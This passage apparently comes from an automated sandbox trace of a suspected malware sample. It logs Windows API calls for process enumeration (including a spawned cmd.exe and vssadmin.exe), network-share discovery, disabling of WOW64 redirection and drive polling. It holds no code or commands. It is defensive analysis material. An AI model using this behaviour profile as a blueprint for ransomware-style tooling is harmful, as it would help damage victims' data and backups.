lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0063.344] lstrlenW (lpString="utg2.exe") returned 8 [0063.344] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0063.344] lstrlenW (lpString="burner.exe") returned 10 [0063.344] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.345] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.345] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.346] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.346] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0063.346] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0063.346] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.347] lstrlenW (lpString="cmd.exe") returned 7 [0063.347] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.347] lstrlenW (lpString="conhost.exe") returned 11 [0063.348] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.348] lstrlenW (lpString="vssadmin.exe") returned 12 [0063.348] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.349] lstrlenW (lpString="VSSVC.exe") returned 9 [0063.349] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.353] lstrlenW (lpString="svchost.exe") returned 11 [0063.353] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0063.357] lstrlenW (lpString="LogonUI.exe") returned 11 [0063.357] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0063.358] CloseHandle (hObject=0x1e0) returned 1 [0063.358] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x910 [0035.533] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0035.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x554b80 | out: hHeap=0x520000) returned 1 Thread: id = 6 os_tid = 0x3c8 [0035.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0035.534] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555da0 [0035.534] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555da0, Size=0x40) returned 0x556d80 [0035.534] GetLogicalDrives () returned 0x4 [0035.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x58e750 [0035.534] GetComputerNameW (in: lpBuffer=0x58e754, nSize=0x230ff6c | out: lpBuffer="XDUWTFONO", nSize=0x230ff6c) returned 1 [0035.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x59e758 [0035.535] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x230ff3c | out: lphEnum=0x230ff3c*=0x5562f0) returned 0x0 [0035.535] WNetEnumResourceW (in: hEnum=0x5562f0, lpcCount=0x230ff38, lpBuffer=0x59e758, lpBufferSize=0x230ff40 | out: lpcCount=0x230ff38, lpBuffer=0x59e758, lpBufferSize=0x230ff40) returned 0x103 [0035.535] WNetCloseEnum (hEnum=0x5562f0) returned 0x0 [0035.535] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x230ff3c | out: lphEnum=0x230ff3c*=0x56f430) returned 0x0 [0039.374] WNetEnumResourceW (in: hEnum=0x56f430, lpcCount=0x230ff38, lpBuffer=0x59e758, lpBufferSize=0x230ff40 | out: lpcCount=0x230ff38, lpBuffer=0x59e758, lpBufferSize=0x230ff40) returned 0x0 [0039.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x37f06f0 [0039.374] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59e758, lphEnum=0x230ff10 | out: lphEnum=0x230ff10*=0x556470) returned 0x0 [0040.466] WNetEnumResourceW (in: hEnum=0x556470, lpcCount=0x230ff0c, lpBuffer=0x37f06f0, lpBufferSize=0x230ff14 | out: lpcCount=0x230ff0c, lpBuffer=0x37f06f0, lpBufferSize=0x230ff14) returned 0x103 [0040.466] WNetCloseEnum (hEnum=0x556470) returned 0x0 [0040.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x37f16f8 [0040.467] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59e778, lphEnum=0x230ff10 | out: lphEnum=0x230ff10*=0x0) returned 0x4b8 [0060.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x3eb2080 [0060.013] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59e798, lphEnum=0x230ff10 | out: lphEnum=0x230ff10*=0x0) returned 0x4c6 [0060.021] WNetEnumResourceW (in: hEnum=0x56f430, lpcCount=0x230ff38, lpBuffer=0x59e758, lpBufferSize=0x230ff40 | out: lpcCount=0x230ff38, lpBuffer=0x59e758, lpBufferSize=0x230ff40) returned 0x103 [0060.021] WNetCloseEnum (hEnum=0x56f430) returned 0x0 [0060.021] GetLogicalDrives () returned 0x4 [0060.021] Sleep (dwMilliseconds=0x64) [0061.872] GetLogicalDrives () returned 0x4 [0061.872] Sleep (dwMilliseconds=0x64) [0062.364] GetLogicalDrives () returned 0x4 [0062.364] Sleep (dwMilliseconds=0x64) [0062.503] GetLogicalDrives () returned 0x4 [0062.503] Sleep (dwMilliseconds=0x64) [0062.997] GetLogicalDrives () returned 0x4 [0062.997] Sleep (dwMilliseconds=0x64) [0063.186] GetLogicalDrives () returned 0x4 [0063.186] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xbe8 [0035.537] GetTickCount () returned 0x1152ff7 [0035.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x56c6c0 [0035.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56c6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0035.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56c6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0035.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56c6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0035.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56c6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0035.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570480 [0035.555] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570480, Size=0x20) returned 0x555d50 [0035.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570480 [0035.555] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570480, Size=0x20) returned 0x555cd8 [0035.630] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.222] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.222] Wow64DisableWow64FsRedirection (in: OldValue=0x244ff84 | out: OldValue=0x244ff84*=0x0) returned 1 [0036.222] lstrlenW (lpString="kernel32.dll") returned 12 [0036.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555d50 | out: hHeap=0x520000) returned 1 [0036.222] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555cd8 | out: hHeap=0x520000) returned 1 [0036.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x55b6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0036.223] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.337] GetTickCount () returned 0x115319c [0036.337] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.824] GetTickCount () returned 0x1153219 [0036.824] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.973] GetTickCount () returned 0x11532a5 [0036.973] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.110] GetTickCount () returned 0x1153331 [0037.110] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.325] GetTickCount () returned 0x11533be [0037.325] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.544] GetTickCount () returned 0x1153498 [0037.544] GetTickCount () returned 0x1153498 [0037.544] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.989] GetTickCount () returned 0x115365d [0037.989] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.201] GetTickCount () returned 0x1153727 [0038.201] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.441] GetTickCount () returned 0x11537f2 [0038.441] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.143] GetTickCount () returned 0x1153a33 [0039.143] GetTickCount () returned 0x1153a33 [0039.143] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.426] GetTickCount () returned 0x1153b4c [0039.426] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.719] GetTickCount () returned 0x1153d7e [0040.719] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.234] GetTickCount () returned 0x1153f81 [0041.234] GetTickCount () returned 0x1153f81 [0041.234] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.802] GetTickCount () returned 0x1154135 [0041.802] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.978] GetTickCount () returned 0x11541e1 [0041.978] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.294] GetTickCount () returned 0x11542fa [0042.295] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.590] GetTickCount () returned 0x1154422 [0042.590] GetTickCount () returned 0x1154422 [0042.590] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.074] GetTickCount () returned 0x1154606 [0043.075] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.534] GetTickCount () returned 0x115477c [0043.534] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.995] GetTickCount () returned 0x1154950 [0043.995] GetTickCount () returned 0x1154950 [0043.995] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.369] GetTickCount () returned 0x1154ac7 [0044.369] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.712] GetTickCount () returned 0x1154c1e [0044.712] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.045] GetTickCount () returned 0x1154d27 [0045.045] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.573] GetTickCount () returned 0x1154e8e [0045.573] GetTickCount () returned 0x1154e8e [0045.573] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.908] GetTickCount () returned 0x1154fd5 [0045.908] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.348] GetTickCount () returned 0x115517b [0046.348] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.576] GetTickCount () returned 0x1155265 [0046.576] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.959] GetTickCount () returned 0x11553eb [0046.959] GetTickCount () returned 0x11553eb [0046.959] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.472] GetTickCount () returned 0x11555de [0047.472] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.745] GetTickCount () returned 0x11556d7 [0047.745] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.128] GetTickCount () returned 0x115584e [0048.128] GetTickCount () returned 0x115584e [0048.128] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.550] GetTickCount () returned 0x11559a5 [0048.550] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.002] GetTickCount () returned 0x1155b2b [0049.003] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.324] GetTickCount () returned 0x1155c63 [0049.324] GetTickCount () returned 0x1155c63 [0049.324] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.751] GetTickCount () returned 0x1155e18 [0049.751] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.993] GetTickCount () returned 0x1155f02 [0049.993] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.305] GetTickCount () returned 0x115603a [0050.305] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.711] GetTickCount () returned 0x11561b0 [0050.711] GetTickCount () returned 0x11561b0 [0050.711] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.987] GetTickCount () returned 0x11562b9 [0050.987] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.321] GetTickCount () returned 0x11563e2 [0051.321] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.536] GetTickCount () returned 0x11564bc [0051.536] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.877] GetTickCount () returned 0x1156613 [0051.877] GetTickCount () returned 0x1156613 [0051.877] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.137] GetTickCount () returned 0x115670d [0052.137] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.365] GetTickCount () returned 0x11567f7 [0052.365] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.940] GetTickCount () returned 0x11569cb [0052.940] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.770] GetTickCount () returned 0x1156d06 [0053.770] GetTickCount () returned 0x1156d06 [0053.770] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.021] GetTickCount () returned 0x1156dff [0054.021] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.331] GetTickCount () returned 0x1156f37 [0054.331] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.686] GetTickCount () returned 0x115709e [0054.686] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.865] GetTickCount () returned 0x1157530 [0055.865] GetTickCount () returned 0x1157530 [0055.865] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.226] GetTickCount () returned 0x11576a7 [0056.227] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.569] GetTickCount () returned 0x11577fe [0056.569] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.013] GetTickCount () returned 0x11579b3 [0057.013] GetTickCount () returned 0x11579b3 [0057.013] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.449] GetTickCount () returned 0x1157b67 [0057.449] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.649] GetTickCount () returned 0x11583ff [0059.649] GetTickCount () returned 0x11583ff [0059.649] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.774] GetTickCount () returned 0x115847c [0059.774] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.003] GetTickCount () returned 0x1158566 [0060.003] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.872] GetTickCount () returned 0x1158cb6 [0061.872] GetTickCount () returned 0x1158cb6 [0061.872] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.356] GetTickCount () returned 0x1158e9a [0062.364] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.502] GetTickCount () returned 0x1158f26 [0062.503] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.996] GetTickCount () returned 0x1159119 [0062.996] GetTickCount () returned 0x1159119 [0062.996] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.186] GetTickCount () returned 0x11591d4 [0063.186] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xb60 [0035.537] GetTickCount () returned 0x1152ff7 [0035.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x56b700 [0035.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56b700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0035.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56b700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0035.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56b700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0035.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56b700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0035.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570480 [0035.654] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570480, Size=0x20) returned 0x555dc8 [0035.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570480 [0035.654] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570480, Size=0x20) returned 0x555df0 [0035.654] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.205] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.205] Wow64DisableWow64FsRedirection (in: OldValue=0x258ff84 | out: OldValue=0x258ff84*=0x0) returned 1 [0036.205] lstrlenW (lpString="kernel32.dll") returned 12 [0036.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.205] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x57d6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0036.207] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0036.337] GetTickCount () returned 0x115319c [0036.337] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0036.824] GetTickCount () returned 0x1153219 [0036.824] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0036.949] GetTickCount () returned 0x1153295 [0036.949] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0037.110] GetTickCount () returned 0x1153331 [0037.110] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0037.325] GetTickCount () returned 0x11533be [0037.325] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0037.544] GetTickCount () returned 0x1153498 [0037.544] GetTickCount () returned 0x1153498 [0037.544] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0037.989] GetTickCount () returned 0x115365d [0037.989] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0038.201] GetTickCount () returned 0x1153727 [0038.201] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0038.441] GetTickCount () returned 0x11537f2 [0038.441] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0039.143] GetTickCount () returned 0x1153a33 [0039.143] GetTickCount () returned 0x1153a33 [0039.143] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0039.426] GetTickCount () returned 0x1153b4c [0039.426] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0040.719] GetTickCount () returned 0x1153d7e [0040.719] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0041.234] GetTickCount () returned 0x1153f81 [0041.234] GetTickCount () returned 0x1153f81 [0041.234] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0041.802] GetTickCount () returned 0x1154135 [0041.802] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0041.978] GetTickCount () returned 0x11541e1 [0041.978] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0042.294] GetTickCount () returned 0x11542fa [0042.294] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0042.591] GetTickCount () returned 0x1154422 [0042.591] GetTickCount () returned 0x1154422 [0042.591] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0043.075] GetTickCount () returned 0x1154606 [0043.075] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0043.534] GetTickCount () returned 0x115477c [0043.534] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0043.994] GetTickCount () returned 0x1154950 [0043.995] GetTickCount () returned 0x1154950 [0043.995] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0044.369] GetTickCount () returned 0x1154ac7 [0044.369] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0044.713] GetTickCount () returned 0x1154c1e [0044.713] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0045.045] GetTickCount () returned 0x1154d27 [0045.045] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0045.573] GetTickCount () returned 0x1154e8e [0045.573] GetTickCount () returned 0x1154e8e [0045.573] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0045.908] GetTickCount () returned 0x1154fd5 [0045.908] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0046.348] GetTickCount () returned 0x115517b [0046.348] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0046.576] GetTickCount () returned 0x1155265 [0046.576] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0046.959] GetTickCount () returned 0x11553eb [0046.959] GetTickCount () returned 0x11553eb [0046.959] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0047.472] GetTickCount () returned 0x11555de [0047.472] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0047.745] GetTickCount () returned 0x11556d7 [0047.745] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0048.128] GetTickCount () returned 0x115584e [0048.128] GetTickCount () returned 0x115584e [0048.128] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0048.550] GetTickCount () returned 0x11559a5 [0048.550] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0049.002] GetTickCount () returned 0x1155b2b [0049.002] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0049.324] GetTickCount () returned 0x1155c63 [0049.324] GetTickCount () returned 0x1155c63 [0049.324] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0049.751] GetTickCount () returned 0x1155e18 [0049.751] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0049.993] GetTickCount () returned 0x1155f02 [0049.993] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0050.305] GetTickCount () returned 0x115603a [0050.305] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0050.711] GetTickCount () returned 0x11561b0 [0050.711] GetTickCount () returned 0x11561b0 [0050.711] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0050.987] GetTickCount () returned 0x11562b9 [0050.987] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0051.321] GetTickCount () returned 0x11563e2 [0051.321] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0051.536] GetTickCount () returned 0x11564bc [0051.536] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0051.877] GetTickCount () returned 0x1156613 [0051.877] GetTickCount () returned 0x1156613 [0051.877] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0052.137] GetTickCount () returned 0x115670d [0052.137] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0052.365] GetTickCount () returned 